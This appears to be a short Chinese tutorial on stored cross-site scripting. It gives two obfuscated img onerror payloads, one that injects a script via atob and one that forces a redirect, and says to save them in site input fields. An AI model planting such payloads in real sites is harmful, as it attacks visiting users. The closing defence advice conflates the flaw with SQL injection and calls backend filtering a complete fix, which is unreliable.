一,邏輯和原理
1,利用JS的onerror事件和atob解密(base64)
2,執行原理是:只要頁面中出現腳本錯誤,就會執行onerror事件,利用onerror事件,加載自定義JS,如以下例子
1》注入加載自定義腳本
<body/hidden>< img src=1 onerror=document.write(atob(`d3d3LmJhaWR1LmNvbQ==`))>
2》注入自動跳轉
<body/hidden>< img src=1 onerror=window.location.href=(atob(`d3d3LmJhaWR1LmNvbQ==`))>
3,然后在富文本框和輸入框中輸入以上這兩串,保存,當用戶訪問,就會出現問題
二,防護的方式也是很簡單
1,在用戶輸入的后端過濾腳本等SQL注入的字符,只要沒有保存帶數據庫就完全沒問題